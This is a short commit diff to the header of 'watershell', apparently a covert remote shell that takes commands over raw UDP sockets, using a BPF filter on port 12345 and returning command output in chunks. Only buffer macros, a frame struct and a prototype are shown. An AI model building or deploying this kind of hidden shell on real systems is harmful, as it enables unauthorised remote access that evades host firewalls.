Added forking support, support for larger command outputs, and other improvements
This commit is contained in:
@@ -16,6 +16,11 @@
|
||||
*/
|
||||
#ifndef WATERSHELL_H_
|
||||
#define WATERSHELL_H_
|
||||
|
||||
|
||||
#define RECV_BUFFER_SIZE 4096
|
||||
#define SEND_CHUNK_SIZE (ETH_DATA_LEN - sizeof(struct udphdr) - sizeof(struct iphdr))
|
||||
|
||||
/* BPF code generated with tcpdump -dd udp and port 12345
|
||||
* used to filter incoming packets at the socket level
|
||||
*/
|
||||
@@ -49,7 +54,7 @@ struct __attribute__((__packed__)) udpframe {
|
||||
struct ethhdr ehdr;
|
||||
struct iphdr ip;
|
||||
struct udphdr udp;
|
||||
unsigned char data[ETH_DATA_LEN - sizeof(struct udphdr) - sizeof(struct iphdr)];
|
||||
unsigned char data[SEND_CHUNK_SIZE];
|
||||
};
|
||||
|
||||
void send_status(unsigned char *buf, char *payload);
|
||||
|
||||
Reference in New Issue
Block a user